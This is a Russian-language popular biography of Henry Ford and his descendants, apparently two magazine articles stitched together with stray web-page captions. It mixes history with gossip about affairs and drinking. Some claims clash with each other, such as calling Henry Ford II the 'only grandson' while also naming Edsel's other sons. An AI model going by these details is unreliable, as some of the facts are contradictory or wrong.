Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

Истории успеха

Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

Для современников он был не более чем расчетливым дельцом, выскочкой и взбалмош­ным героем светской хроники. Его презирали, его успеху завидовали, а об элементар­ном уважении не могло быть и речи.

Его самого это мало волновало. И, как оказалось, совершенно правильно.

Генри Форд вошел в историю как гениальный орга­низатор, создатель первых серийных автомобилей и конвейера, а также как решитель­ный борец за социальную справедливость.

Если Генри Форд хотел прочесть о себе в газетах что-то приятное, он по­купал в них полосы. Десятками, иногда сотнями.

Впервые его имя появилось в прессе из-за судебной тяжбы между мало кому известной компанией Ford Motor и могущественным Объединением лицензированных производителей автомобилей.

Этот процесс перевернул жизнь Генри. В 40 лет он рис­кнул уйти с должности главного инженера Детрой­тской автомобильной компании, в которой сконстру­ировал 19 автомобилей.

«Моих коллег интересует лишь сиюминутная прибыль, а не развитие на пер­спективу», – так Форд объяснил причину увольне­ния. Поступок более чем рискованный для человека, привыкшего тратить большую часть зарплаты на хоб­би – бензиновые двигатели. Сбережений у Генри не было.

Вместо них были жена-домохозяйка, малень­кий сын и непоколебимая уверенность в собствен­ном успехе.

Затем Генри построил две одинаковые гоночные ма­шины. На одной из них он установил новый мировой рекорд скорости. Как напишет потом Форд в своих мемуарах, это едва не стоило ему жизни.

После этого Ген­ри решил поберечь собственную голову – чтобы было на что надевать лавровый венок. Он разыскал велогон­щика Барни Олдфилда, человека без страха, пьянею­щего от скорости, и за пару месяцев научил его водить машину.

И тот выиграл несколько гонок подряд.

На призовые Генри Форд и основал собствен­ную компанию. На ворота перед маленьким сараем из красного кирпича на окраине Детройта он прибил таб­личку: «Ford Motor Company». В компании Генри работал и директором, и главным конструктором, и смен­ным бригадиром.

В кирпичном сарайчике была создана первая мо­дель компании – Ford А, а потом и модели В, С, F, К, N (Генри называл свои машины по алфавиту).

А всего через пять недель после того, как первые машины пос­тупили в продажу, Объединение лицензированных производителей автомобилей потребовало, чтобы Ford Motor Company присоединилась к нему или прекрати­ла работу. Ведь автомобили Генри продавались по бес­прецедентно низкой цене.

Со страниц газет на Генри Форда полились потоки грязи. Покупателей Ford А запугивали тем, что, приоб­ретая машины, они нарушают закон и могут быть арес­тованы. Генри отчаянно отстаивал свою независи­мость. Однако 70 млн. долларов капитала конкурентов, поставленные против 35 тысяч Генри, решили исход поединка. После шести лет судебной тяжбы Генри Форд бы признан виновным.

Но несмотря на потоки клеветы, обвинений и пря­мое запугивание, покупатели остались верны Форду. Даже во время судебного процесса в сарае из красного кирпича выпускали по сотне автомобилей в день. И они продавались по самой низкой в Америке цене! А судеб­ный процесс стал для компании своего рода рекламной кампанией. Тем более что в 1911 году Генри удалось обжаловать решение и выиграть дело.

После этого Генри надолго поверил, что скандал, причем с любым результатом, может быть отличной рекламой. И он абсолютно перестал обращать внима­ние на то, что писали о нем газеты. Это был первый шаг к созданию неприятного образа Генри Форда.

Сам того не сознавая, Форд отдал на милость ре­портеров себя самого, собственные поступки и чув­ства. Генри мало заботило, какое впечатление будет производить газетный персонаж Генри Форд. Главное, думал он, чтобы этот тип регулярно появлялся на пер­вых полосах.

Газетчикам только того и надо было.

Великий и ужасный

Очень скоро в газетном мире появился ко­лоритный персонаж по имени Генри Форд. Он оказался на редкость активным и часто оккупировал целые полосы. Этот Форд терпеть не мог делиться славой. Он ни­когда не называл имена конструкторов машин. По этой причине Генри не раз приходилось набирать новых разработчиков вместо тех, кто, обидевшись, уходил к конкурентам.

Знаменитые слова Генри: «Каждый покупатель может приобрести автомобиль любого цвета при условии, что этот цвет черный», – приводились газетчиками в качестве яркого примера самодурства и упрямства Форда. А Генри даже не пытался объяснять покупателям, что его упрямство вызвано лишь тем, что при конвейерной сбор­ке успевает высыхать только японский черный лак.

Изобретенный Фордом конвейер репортеры поспе­шили окрестить «бесчеловечной потовыжималкой». Генри не отвечал, хотя мог бы рассказать прессе, что любой рабочий на его предприятиях мо­жет сменить профиль работы, а также о том, что 40 процентов менеджеров его заводов начинали карьеру с ра­бочих должностей.

Репортеры узнали, что Форд строит для своих рабо­чих больницы и школы. Тут же появились репортажи о том, как несчастных детей вынуждают танцевать лю­бимые танцы Генри — польку и кадриль. Вслед за этим Форда обвинили в увлечении социализмом. Причиной тому стали высказывания Генри о кредитах, которые «развращают предпринимателей».

С радостью развенчали репортеры и миф о том, что цены на автомобили Генри постоянно снижались. Да, так гласили рекламные слоганы. При этом машины абсолютно всех марок поднимались в це­не в два раза. Впервые это произошло во время строи­тельства нового завода компании в Ривер-Руж. Во вто­рой раз цены подскочили в 1918 году.

Газетные полосы, купленные Фордом, объясняли рост стоимости сложностями, вызванными войной. Не­зависимая пресса излагала другую версию событий. Введя в 1914 году на своих заводах конвейер, Форд начал платить рабочим 5 долларов в день.

На других заводах платили 2-3 доллара. Причем Генри решил любыми способами выпускать не меньше тысячи автомобилей в день. Ему это удалось, и всю прибыль до копейки он вкла­дывал в развитие производства, естественно, не спрашивая мнения акционеров.

Те подали в суд и в 1917 году добились повышения дивидендов.

На заседании суда Форд назвал акционеров пара­зитами. На следующий день газетчики злорадно праз­дновали поражение Генри, которому пришлось выпла­тить повышенные дивиденды, а также резко увеличить цену машин.

Следующим номером программы стало увольнение Генри. Автомобильный магнат передал царство своему 26-летнему сыну Эдселу. Это вызвало панику на бир­жах и, как следствие, падение цен на акции Ford Motor Company.

Казалось, эксцентричный Генри отошел от дел нав­сегда. Во всяком случае, теперь его обиженное лицо мелькало только на полосах светской хроники в ком­пании очередной кинодивы.

Каково же было удивление акционеров и конкурентов, когда в 1919 году Генри соб­рал пресс-конференцию и довольно объявил, что теперь ему лично принадлежит 100 процентов акций Ford Motor Company.

«С акционерами покончено!» – провозгласил Генри и с нескрываемым удовольствием рассказал, что в течение двух лет через подставных лиц скупил 41 процент акций.

Теперь ни у кого не оставалось сомнений: автомобильной империей, а также железными дорогами, многочисленными транспортными судами, 285 тыс. гектаров леса, рудниками, стекольными и металлурги­ческими заводами управляет Форд-старший, а застен­чивый Эдсел занимает кресло управляющего импери­ей лишь номинально.

Широко освещалось пацифистское плавание Генри в 1915 году в Европу. Теодор Рузвельт назвал этот рейд «самым позорным явлением в Америке», а его оппо­нент на президентских выборах в который раз обозвал Генри вралем и клоуном.

Форд ответил «подстрекателям войны» на 250 газетных полосах, предва­рительно, конечно, оплатив площади, но из-за этого плавания едва не упустил сенаторское кресло.

Следующий год ознаменовался войной с газетой Chicago Tribune, назвавшей Генри «анархистом». Пот­ратив сотни тысяч, Форд проиграл. Газета отделалась шестицентовым штрафом.

После этого Генри не пнул только ленивый. В 1931 году, когда Форд собственноручно заложил пер­вый камень в фундамент филиала компании в Кельне, газеты приписали ему финансирование национал-со­циалистов. Бульварные пошли еще дальше – детально расписали «тайную встречу» Форда с Гитлером.

Это был явный перебор даже для непробиваемого Генри. Он решил срочно скорректировать свой образ и не поленился засесть за мемуары.

Сладкий и пушистый

Если верить легенде, одобренной самим Генри, он ре­шил стать автомобильным магнатом после того, как еще в детстве упал с лошади. При этом выбил маль­чишку из седла (в прямом смысле слова) вид проезжающе­го вдоль кукурузного поля локомобиля.

По другой версии, с лошади будущий владелец Ford Motor Company все-таки не падал.

Он догнал водителя локомобиля и на всю жизнь запомнил его рассказ о том, что мотор чудо-машины крутится со скоростью 200 оборотов в минуту, а специальное устройство отсо­единяет привод от работающего мотора.

Существует и третья версия легенды: «Генри Форд выбирает профессию». Если верить ей, то Генри решил стать механиком, взорвав дома чайник. Он наполнил его до краев водой, плотно закрыл, заткнул носик и наб­людал за развитием событий через кухонное окно. Ког­да чайник взорвался, из окон кухни вылетели стекла.

И хотя покупка нового чайника и замена стекол бы­ли тяжелой нагрузкой для скромного бюджета его ро­дителей – ирландских эмигрантов, они не стали его ругать, утверждает легенда, поскольку Генри взорвал чайник не из баловства, а пытаясь вычислить силу па­ра.

Родители растроганно назвали сына гением и пред­сказали ему большое будущее.

Правда, поверить в пророческий дар Уильяма и Мэ­ри Форд довольно трудно, особенно учитывая, что по­мимо старшего сына Генри у них было еще пятеро де­тей, которые время от времени тоже что-то взрывали, поджигали или просто развинчивали (история не сохранила их изобретений). К тому же, Генри, как старший сын, должен был унаследовать ферму, но в 16 лет он уехал в близлежащий Детройт и стал учеником механика ло­комобилей. Отец утверждал, что Генри погубил себя и свое будущее. Мягко говоря, это было не совсем точное пророчество.

В городе «неудачник» стал неплохо зарабатывать. Механик платил ему 1 доллар в день, а за ночь, проведенную за ремонтом часов для соседа-ювелира, Форд зараба­тывал до 10 долларов. Собственная коллекция часов Форда насчитывала тогда 300 экземпляров. По тем вре­менам это было несметным сокровищем.

Когда в связи со строительством железной дороги правительство Соединенных Штатов ввело общее ча­совое расписание поездов, Генри создал часы с двой­ным циферблатом (раньше время определяли исклю­чительно по солнцу, и данные существенно отлича­лись). Часы показывали два времени и стали местной достопримечательностью.

Генри даже собирался открыть собственное часо­вое дело, но потом счел часы предметом далеко не пер­вой необходимости и отказался от этой затеи. Рев мо­торов привлекал его куда больше тиканья часовых ме­ханизмов.

Затем в послужном списке молодого механика ока­залась компания Вестингауз. Здесь Генри налаживал и чинил паровые двигатели. Вслед за ней – Детрой­тская автомобильная компания.

Но и здесь талантли­вый механик не прижился – им были недовольны стар­шие коллеги.

Действительно, где это видано – выпол­нять за полчаса работу, на которую нормальные люди тратили часов пять! Да и вообще, Форд своим присут­ствием действовал на нервы очень многим: слишком легко ему все давалось, слишком он был энергичен.

После увольнения Генри несколько лет скитался по Штатам в поисках работы и даже вернулся на семей­ную ферму. Отец вздохнул с облегчением и подарил сыночку 16 гектаров леса. Но его радость оказалась преждевременной. Как оказалось, Генри приехал только для того, чтобы жениться на дочке со­седа Кларе.

При этом Форд продолжал эксперименты с двигателями. Жена, как ни странно, одобряла чудачества мужа. Может быть, потому и прожила с ним всю жизнь. В мемуарах Форда не раз звучат слова благодарнос­ти жене. Генри признается, что только она была всегда безоговорочно уверена в его успехе. «Если бы не она!..

», – часто восклицает Генри на страницах своих воспоминаний.

Талантливый и циничный

Конечно, Генри лукавит. Особой близости между суп­ругами не было. В начале века любовные похождения Форда были излюбленной темой светской хроники.

Ес­ли верить репортерам, в комнате для гостей, находив­шейся рядом с его кабинетом на фабрике в Детройте, побывали едва ли не все знаменитые актрисы Голливу­да тех лет.

Злые языки утверждали также, что подоб­ной чести удостаивались и вполне заурядные, но прив­лекательные сотрудницы предприятия. Причем и с первыми, и со вторыми Форд вел себя по-хозяйски неп­ринужденно.

Генри любил итальянскую кухню. Если очередная кинозвезда получала от него приглашение на пиццу или равиоли, она вполне могла включить в чек стои­мость пары брильянтовых колье или норковых ман­то.

Многие не видели ничего плохого в том, чтобы стать на время содержанками Форда.

Тем более что платил он щедро, правда, при этом бесконечно мучился вопросом: «Что этим женщинам нужно – я или мои деньги?».

Пожалуй, абсолютно уверен Генри был только в Кларе.

Став женой миллионера, она мало изменила об­раз жизни, безвылазно сидела на их ферме и, когда Генри появлялся там, предпочитала обсуждать с ним технические особенности новых моделей Ford, а не устраивать сцены ревности. Клара меняла шубу, только если та совершенно теряла вид, а золоту и брильянтам предпочитала бижутерию мадам Шанель, тогда только вошедшую в моду.

Но вернемся к первым годам их совместной жиз­ни. Спустя год, когда лес на всех 16 гектарах был спи­лен и продан, Генри уехал в город и принялся за старое. В 1892 году он получил место инженера-механика в Детройтской электрической компании у прослав­ленного изобретателя Эдисона.

Днем Генри работал по вызовам, вечерами собирал двигатели. В 1893 году он сконструировал свой первый автомобиль с бензино­вым двигателем – легкую двух­местную тележку Quadricycle на вело­сипедных колесах и полуэллиптичес­ких рессорах.

Колеса, раму, сиденье и рессоры Форд купил, двигатель и пе­редачу собрал сам. Это средство передвижения долгое время было единственным в Детройте автомобилем. Полиция да­же обязала Генри получить у админис­трации города специальное разреше­ние на ее использование.

Так он стал первым в Америке владельцем автомобильных прав.

В августе 1899 года Форд ушел от Эди­сона, который считал бензиновые дви­гатели бесперспективными, и вступил на паях в Детройтскую автомобиль­ную компанию. Там он занял дол­жность главного инженера.

Что было после его увольнения с этой должнос­ти, мы уже знаем. Социальную сторо­ну этой части своей жизни Генри Форд оставил без редактуры.

В 1943 году, после гибели на фронте Эдсела, Генри снова стал един­ственным управляющим компании.

Умер Генри Форд в 1947 году. Согласно заве­щанию, индустриальное королевство перешло к Генри Форду-младшему, единственному внуку магната. И тот сумел отличиться – благодаря ему Форды навсегда по­теряли контроль над семейной Ford Motor Company. Но это уже другая история.

Источник: http://www.ibt.atlantm.com/achievement/world/~page__n471%3D8~id__n471%3D188

Биография Династия Фордов

Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

05.10.2004

Источник информации: журнал «КАРАВАН ИСТОРИЙ», январь 2000.

Дом Фордов

Паровоз был чахлым даже по меркам прошлого века — высокие красные колеса, колокол, в который звонил машинист, чтобы расшугать забредших на рельсы коров, куча угля в тендере и потеки грязи по бокам. Паровоз тащил за собой две груженные неошкуренными бревнами платформы, пыхтел и ужасно дымил — а Генри смотрел на него и благоговел.

Реклама:

Придет время, и Генри Форд станет кумиром нации — он создаст автомобиль века, благодаря ему американцы навсегда влюбятся в машины. Но в 1876 году до этого было далеко.

Генри Форд II

Семья Фордов — идеальная находка для нравоучительных жизнеописаний! — жила трудовой жизнью, наслаждаясь скромным, тяжело дававшимся достатком.

Приехав в Америку, Уильям Форд работал поденщиком, плотником, а потом поднакопил денег, прикупил земли (акр леса стоил десять шиллингов — ровно столько он получал за день работы) и вскоре стал зажиточным фермером, мировым судьей и церковным старостой.

У Генри Форда было шесть братьев и сестер: все они хлопотали по дому, рубили дрова, пасли свиней, вскапывали, доили, пололи, а Генри к тому же все время что-то свинчивал и развинчивал.

Когда кому-нибудь из детей дарили заводную игрушку, юные Форды пищали в шесть : «Только не давайте Генри!» Они знали, что тот разберет ее до винтика, а после сборки половина деталей окажутся лишними.

К легенде о вундеркинде, чинившем всей округе кофемолки, молотилки и швейцарские часы, приложил руку сам Генри Форд, больше всего на свете любивший давать интервью.

Так на свет Божий появился влюбленный в технику, непонятый семьей мальчик, темными ночами тайком копавшийся в домашней мастерской.

Этот светлый образ встает из воспоминаний самого Форда: в одной руке юный Генри держал раскуроченный будильник, в другой — отвертку, а маленький фонарик, единственный источник света, сжимал коленями… По свидетельству родной сестры будущего миллионера, Маргарет Форд, все это было чистейшей воды выдумкой: Генри увлекся механизмами благодаря отцу.

ферма Уильяма Форда, отца Генри

Генри Форд никогда не учился в университете, а школа в городе Диаборне была такой, что он до конца жизни писал с орфографическими ошибками.

Все классы приходской школы — с первого по восьмой — занимались вместе, в одной комнате, летом, когда учитель шел боронить, место у доски занимала его жена. Больших знаний отсюда вынести было нельзя, зато в том, что такое хорошо и что такое плохо, юные пуритане разбирались отлично.

Из года в год они перечитывали книжки, в которых действовали хорошие и плохие дети: плохие заканчивали жизнь на виселице, хорошие становились президентами Соединенных Штатов.

Генри Форд придумал себе несчастную юность, превратил в тирана своего благодушного и добропорядочного отца, зато сам, по его словам, был примерным мальчиком: свою судьбу он выстроил по рецептам нравоучительных книг, которые зубрили в школах всех американских штатов.

Детство, проведенное в сложенном из грубых бревен отцовском доме (в 1876 году ферма Фордов была признана лучшей во всем Диаборне и вошла в иллюстрированный атлас Детройта), оказалось прологом — первым актом нравоучительной и зрелищной пьесы, в которую превратил свою биографию Генри Форд, стал уход из дома.

В 1879 году ему исполнилось шестнадцать лет, и в один прекрасный день он, не сказав никому ни слова, сложил узелок и отправился в Детройт. Отшагав девять миль, Генри снял там комнату и устроился подмастерьем в механическую мастерскую.

Ему платили два доллара в неделю, а хозяйка комнаты брала с него три с половиной доллара за кров и стол, поэтому Генри пришлось устроиться на ночную работу. После смены он спешил к часовщику и до утра чистил и чинил часы — за ночь ему платили пятьдесят центов.

Но через четыре года такая жизнь ему надоела, и юный Форд вернулся на родную ферму. Там он проведет следующие десять лет — навыки, приобретенные в механической мастерской, ему очень пригодятся.

Эдсел Форд с женой Элеонорой

Первый раз судьба приняла обличье паровоза, во второй раз Бог явился ему в образе паровой сельскохозяйственной машины.

Во всяком случае, так это объяснил сам Генри I: много лет спустя глава «Форд мотор» дал приказ найти заветную молотилку — и ее, ржавую и заброшенную, разыскали-таки по запомнившемуся ему навсегда номеру 345.

Машину разобрали по винтику, вычистили, смазали и доставили в особняк Форда. Генри I забрался на нее и отправился молотить — так мультимиллионер отметил свой шестидесятый день рождения.

Биография депутата и благотворителя Андрея СкочаПосетило:75Михаил ЕмельяновПосетило:69Ольга БаталинаПосетило:66

Пока же до этого было далеко — молотилка стояла у амбара, и вокруг нее суетился до смерти боявшийся чертовой штуковины сосед. Генри вызвался ему помочь — к вечеру он знал молотилку как свои пять пальцев, на следующее утро вывел ее на соседское поле, а через неделю работал на всех, кто мог заплатить ему три доллара.

Вскоре молодой Форд колесил по всему штату с чемоданчиком инструментов, являя собой что-то вроде первой в мире сервисной службы. Он начал зарабатывать приличные деньги, обзавелся дорогим костюмом, в каждом поселке за ним бежала толпа мальчишек.

В придачу к этому Генри Форд был видным парнем — то, что он недолго останется в холостяках, было ясно как Божий день.

Генри с Эдисоном (слева)

Клара Джейн Браент привыкла к комплиментам. Фермеры, танцевавшие с ней на сельских праздниках, частенько хвалили ее прекрасные черные глаза и дивные волосы. Генри Форд же весь вечер рассказывал ей о своих часах: он сам их сделал, и они — невиданное дело в штате Мичиган! — показывали и обычное, и поясное время.

Клара Джейн Браент была серьезной девушкой, она знала, что брак не праздник, а испытание. Из человека, которому хватило терпения собрать часы, должен выйти хороший муж. Клара улыбнулась, потупила глазки (они и в самом деле были очень хороши), деревенский оркестр заиграл что-то нежное и протяжное…

Ни он, ни она не подозревали, что через несколько десятков лет место их первой встречи будут показывать экскурсантам.

Письма на День святого Валентина, прогулки в санях, которые Генри Форд ради пущей романтики выкрасил в зеленый цвет…

Они поженились и обосновались на ферме, которую им выделил Форд-старший (80 гектаров пашни и уютный дом — Генри выстроил его сам от первого до последнего бревнышка).

Вскоре на окнах появились симпатичные ситцевые занавески, в гостиную водворилась уютная плюшевая мебель, банковский счет мистера и миссис Генри Форд начал округляться — но тут в их жизнь ворвался Молчаливый Отто, и фермерской идиллии пришел конец.

Молчаливый Отто стал третьим воплощением судьбы: он работал на соседнем упаковочном заводе, приводился в движение не паром, а бензином и поверг Генри в состояние священного, граничащего с экстазом восторга — такого компактного и легкого механизма ему еще не доводилось видеть.

В уме Генри сразу же оснастил его колесами и рулем — если над этой штукой чуть-чуть поколдовать, она возьмет да и поедет! В результате налаженная, уютная жизнь разлетелась вдребезги: Генри Форд отправился в Детройт изучать свойства электричества и устроился на работу в Осветительную компанию Эдисона.

Клара отправилась вместе с ним — она знала, что брак не праздник, а испытание.

Шарлота Форд

Генри Форд никогда не пожалел о том, что сделал предложение Кларе. Она была отличной женой: когда он принес домой свой первый мотор, Клара, оставив полуторамесячного сына и праздничный пирог, стала прилаживать восьмидесятикилограммовое чудовище к кухонной розетке (заработав, мотор разнес на куски и плиту, и раковину).

Когда он собрал свою первую машину и та не смогла выехать на улицу через слишком узкий дверной проем, Клара схватила кирку и выбила дверную раму: кирпичи и щепки посыпались во двор, обомлевшие соседи увидели, как из сарая выехало какое-то голенастое, пыхтящее, звенящее велосипедными цепями чудовище, увенчанное раскрасневшимся мистером Фордом.

Династия Фордов фотография

В 1908-м он создал «форд Т» — машину всех времен и народов, с незначительными изменениями выпускавшуюся вплоть до 1928 года. Легкая, компактная, дешевая, простая: фермеры ездили в ней за покупками, парочки занимались любовью, бутлегеры перевозили контрабандное виски, гангстеры удирали от полицейских — и все они не могли нахвалиться «фордом Т».

Генри Форд I с женой Кларой

К пятидесяти годам Форд превратился в мультимиллионера, а его машина стала одним из национальных символов Америки. После этого он навсегда отказался от изобретательства: «форд Т» должен был остаться его шедевром.

Генри Форд покупал железные дороги и аэродромы, вводил на своих заводах конвейерную систему, составлял книгу афоризмов и боролся с католицизмом, спасал певчих птиц и пытался остановить Первую мировую войну. Генри I вел себя так, как будто он был Богом Отцом, и окружающие ему в этом помогали.

Простые люди относились к создателю «форда Т» как к волшебнику — на улице его немедленно окружала толпа, самые смелые пытались его потрогать, а наиболее наглые тут же просили у мистера Форда денег.

Генри и Эдсел Форды

Он был чрезвычайно деятельным человеком, новые идеи возникали у него каждый день, и со стороны казалось, что он слегка помешался.

Генри и Эдсел Форды

Новый дом обошелся Форду в миллион долларов (сегодня он стоил бы сорок) — самой роскошной комнатой особняка была сверкающая мрамором и начищенной медью электростанция, где хозяин закрывался для ежедневных медитаций.

В парке, окружающем дом, жил рабочий, которого Форд взял за длинную бороду и румяные щеки: зимой он изображал Санта Клауса, а летом работал эльфом и заготавливал подарки к Рождеству. Это было еще не самым странным (в конце концов, у Форда были внуки).

Помощников Форда поражало то, что Генри, всегда экономивший на зарплате рабочих, с началом Великой депрессии увеличил зарплату вдвое — прочие олигархи воспользовались моментом и урезали ее раза в три.

А у домашних Генри I были свои причины для беспокойства: то, как он обращался со своим единственным сыном Эдселом, не поддавалось никаким объяснениям.

Династия Фордов фотография

Генри и Эдсел были нежнейшей парой: отец и сын вместе ездили на рыбалку, расставшись на несколько дней, писали друг другу длинные письма, никогда не ссорились и советовались друг с другом во всем.

Эдсел всегда был хорошим мальчиком: он получал только отличные оценки, слушался папу, был почтителен к его сотрудникам и очень хотел возглавить «Форд мотор» — словом, делал то, что ему было положено.

Генри не захотел отпустить сына на Первую мировую — и Эдсел явился на призывной пункт и потребовал дать ему бронь как организатору военного производства; Генри с подозрением относился к высшему образованию — и отличник Эдсел сразу после школы пришел в корпорацию Форда, в 21 год он получил место в совете директоров.

Он носил такие же костюмы, как и папа, — серые, чуть приталенные, всегда безупречно выглаженные, такие же лакированные туфли и шелковые галстуки. Эдсел на лету ловил папины указания и часами пропадал в конструкторском бюро: отец сделал самую надежную машину в мире, он же мечтал сделать самую красивую. Генри не мог нахвалиться сыном, но в один прекрасный день весь этот букет достоинств встал ему поперек горла.

Генри I отменял распоряжения Эдсела, шпынял его как мальчишку, увольнял его сотрудников — сын принимал все как должное, благодарил отца за заботу и старался подыскать своим людям такие же хорошие места.

Это еще больше заводило Генри Форда — волю сына он закалял, устраивая ему каверзы, и чем больше Эдсел поддавался, тем сильнее отец на него давил.

Дело кончилось тем, что Эдсел вообще перестал принимать какие бы то ни было решения.

В конце тридцатых годов Эдсел начал жаловаться на боли в животе. Ему прописали бариевую диету и клизмы, но он считал себя утонченным человеком и не захотел лечиться таким унизительным способом. Когда врачи диагностировали рак желудка, делать что-либо было уже поздно.

Форду-младшему вырезали половину желудка и попросили домашних приготовиться к худшему, но Генри I решил, что медики по обыкновению занимаются ерундой.

Он был совершенно уверен, что со своими проблемами сын может справиться сам: его секретарь передал Эдселу пространный меморандум, в котором Генри изложил все свои претензии.

Отец велел ему больше работать, предписывал разорвать отношения со слюнтяями из богатых семей Детройта, предлагал подружиться с хорошими, надежными, проверенными людьми, список которых Генри I приложил к своему письму. Оно заканчивалось пафосным призывом: «Восстанови здоровье, сотрудничая с Генри Фордом!» — на этой фразе Эдсел разрыдался, написал заявление об отставке и уехал домой.

Генри I так и не поверил, что его сын при смерти; во время похорон старший Форд выглядел не столько сломленным, сколько растерянным. Идя за гробом, он твердил: «Ничего не поделаешь, нужно больше работать». Но Гарри Беннет, новая правая рука Генри I, исполнительный директор «Форд мотор», уверял, что его шеф постоянно заговаривал о сыне.

Форд так надоел Беннету вопросами о том, не был ли он чересчур жесток с покойным, что в один прекрасный день тот брякнул: «Да, вы были к нему несправедливы.

На его месте я бы страшно на вас разозлился!» Услышав это, Генри Форд возликовал: «Вот этого я от него и ждал! Я так хотел, чтобы он хоть раз как следует меня послал!» Судить о том, правда ли это, сложно: Беннет правдивостью не отличался.

Он начинал моряком, потом стал профессиональным боксером, а затем попал к Форду в телохранители, приглянулся ему и сумел выбиться на самый верх.

Плотный, мускулистый Гарри Беннет приводил в священный ужас фордовских домочадцев: его лицо было покрыто шрамами, в свой рабочий кабинет он приходил под охраной двух бывших уголовников, пресс-папье ему служил огромный кольт.

Менеджером Беннет оказался никаким: вместе с окончательно выжившим из ума Генри I они довели компанию до ручки: под натиском конкурентов продажи «Форд мотор» падали с каждым годом. При этом Беннет намеревался вытеснить из дела сыновей Эдсела: на все ключевые посты в компании он расставил своих друзей, бывших боксеров и бейсболистов.

В коридорах «Форд мотор» замелькали бычьи затылки и сломанные носы — Гарри был близок с мафией и по просьбе своих друзей брал на работу отсидевших уголовников. Отношения с профсоюзами его люди улаживали при помощи кастетов и обрезков металлических труб. Генри I больше ни во что не вмешивался.

После его смерти наследники вскрыли комнату, куда он никого не пускал, и обнаружили там кучи листков, исписанных его любимыми афоризмами, письма жене, счета за мясо и рыбу тридцатилетней давности, груды старых винтиков и болтов, обломки садовых скамеек — все это занимало старика куда больше, чем дела его компании. Генри I доживал свой век в тишине и маразме, но его старший внук Генри II имел свои взгляды на будущее корпорации.

В школе Генри II дразнили Свиным Салом — вечный двоечник, ползком перебиравшийся из класса в класс, был полноват и рассеян. (В Йельском университете Генри не смог написать выпускное сочинение, текст он заказал репетиторскому агентству готовый и, сдавая его в комиссию, забыл между страниц чек об оплате.

) Он любил сладкое, чувствовал себя как дома в отеле «Ритц» и с младых ногтей был приучен к тому, что перед ним благоговели все — и слуги, и учителя, и одноклассники. Генри II вырос, чувствуя себя маленьким принцем, и у Гарри Беннета были все основания не относиться к нему всерьез.

Он так и делал, тем более что Генри-младший был веселым, дружелюбным и добрым парнем.

Генри I боролся за спасение певчих птиц, а его внука беспокоило положение женщин, собиравших плату за вход во французские уборные, — ему казалось, что они должны чувствовать себя неловко.

Однажды он задержался в парижском туалете, обеспокоенные друзья решили зайти и узнать в чем дело: Генри Форд устроился на ступеньках и пел серенаду кассирше, потягивавшей «Dom Perignon» — шампанское внук олигарха прихватил с собой. В придачу ко всему юный Генри женился на католичке и сам перешел в католичество.

Гарри Беннет же был протестантом; человек, изменивший вере предков из-за бабы, в его глазах не стоил ничего. Он был уверен, что свернет Генри шею двумя пальцами — но в результате пострадал его собственный загривок.

Генри I активно выживал из ума — в последнее время старик часто отзывал в сторону малознакомых людей и делился с ними сокровенным: «Знаете, я уверен, что Эдсел не умер!» Он становился все более управляемым, и власть в семье переходила к женщинам: постаревшей, но сохранившей всю свою энергию Кларе Форд и вдове Эдсела Элеоноре, ненавидевшей и свекра, и Гарри Беннета. Свекровь и невестка заключили временный союз: Генри II был назначен вице-президентом и начал методично увольнять людей Беннета. Тот приходил в ярость и требовал объяснений, а мило улыбавшийся Генри отвечал одно и то же: «Мне просто не нравится, как он выглядит».

Вскоре дошла очередь и до самого исполнительного директора: старый Форд решил сделать внука президентом, и тот потребовал голову Беннета. Гарри вылетел из «Форд мотор» на следующий день: перед тем как очистить директорский кабинет, он сбросил на пол все, что стояло на полках, и вдребезги разнес свой рабочий стол.

Съежившаяся в приемной секретарша в ужасе слушала доносившийся из-за закрытой двери рык «Сукин сын, мальчишка! Жаль, что я не свернул ему шею!..

» Окончательно отрешившийся от мирских забот Генри I напутствовал любимого помощника философской сентенцией: «Все возвращается на круги своя — Гарри вернулся к тому, с чего начал».

Старик становился все более странным. Он начал собирать Тициана — кто-то сказал ему, что художник создавал шедевры в 99 лет, и Генри I вдохновлялся этим примером: ему очень хотелось отпраздновать столетний юбилей, но судьба не захотела оказать Форду-старшему последней милости. Он умер в 1947 году в возрасте 84 лет, когда титул «Генри Форд» уже принадлежал Генри II.

Этот веселый, общительный и дружелюбный человек с удивительной легкостью стал олицетворением компании. При нем дела «Форд мотор» снова пошли на лад. У Генри было потрясающее чутье на дельных людей и новые идеи.

К середине пятидесятых корпорация оставила конкурентов далеко за кормой, а Форды — при Генри I этого не было и в помине — превратились в сплоченный и дружный клан.

Генри Форд и его жена Анна, урожденная Макдоннел, считались образцовыми миллиардерами — они добросовестно приумножали доставшееся им богатство, умели им наслаждаться и не забывали об обездоленных.

Анна Форд ела на столе, принадлежавшем Марии Антуанетте, ходила по коврам Людовика XIV, шампанское ей подавали на серебре Екатерины Великой. Анна Форд категорически запрещала своим дочкам застилать кровати самим: им не следовало обременять себя работой, которую могли сделать служанки.

У маленьких Фордов бывали проблемы с матерью, зато отца они обожали. Генри был идеальным семьянином: когда Анне делали операцию, он проходил по комнате три часа — таков был один из пунктов договора, который переживающий за жену Форд заключил с Господом.

Когда к его девочкам приходили кавалеры, он спускался в гостиную в пижаме и предлагал парням выпить пива — барышни Форд краснели, опускали глаза и шипели в два голоса: «Папочка, иди спать».

Генри обожал гостей, сам жарил для них свой фирменный стейк и развозил по домам после вечеринок; вышколенная кухарка ворчала из-за того, что он и его дочки, разыгравшись, кидали друг в друга кусками кремовых тортов. Чопорная и надменная Анна Форд была счастлива с мужем.

Когда однажды она заглянула к нему перед сном (это было накануне праздника в честь совершеннолетия их младшей дочери) и услышала, как Генри отчаянно кричит в телефонную трубку: «Да, да, я женюсь на тебе!», то не поверила своим ушам.

Генри Форд не был счастливым человеком, свои проблемы он унаследовал от семьи — все Форды, кроме Генри I, могли расслабиться лишь после нескольких бокалов спиртного. Пила мать Генри II, его младший брат умер от алкоголизма. Сам он в молодости мог кутить всю ночь — на заседания совета директоров Форд частенько приходил прямо с вечеринок — с красными от спиртного и бессонницы глазами.

К концу званых обедов глава «Форд мотор» превращался в карикатуру на самого себя.

Однажды Фордов пригласили в Париж, на вечеринку, которую один из их родственников устраивал в честь княгини Монакской Грейс, — там Анне пришлось освобождать мужа из объятий длинноногой итальянки, распластавшейся на нем во время медленного танца. Анна молча оттащила его от партнерши и увела в гостиницу — она и не подозревала, что Генри успел разжиться телефоном.

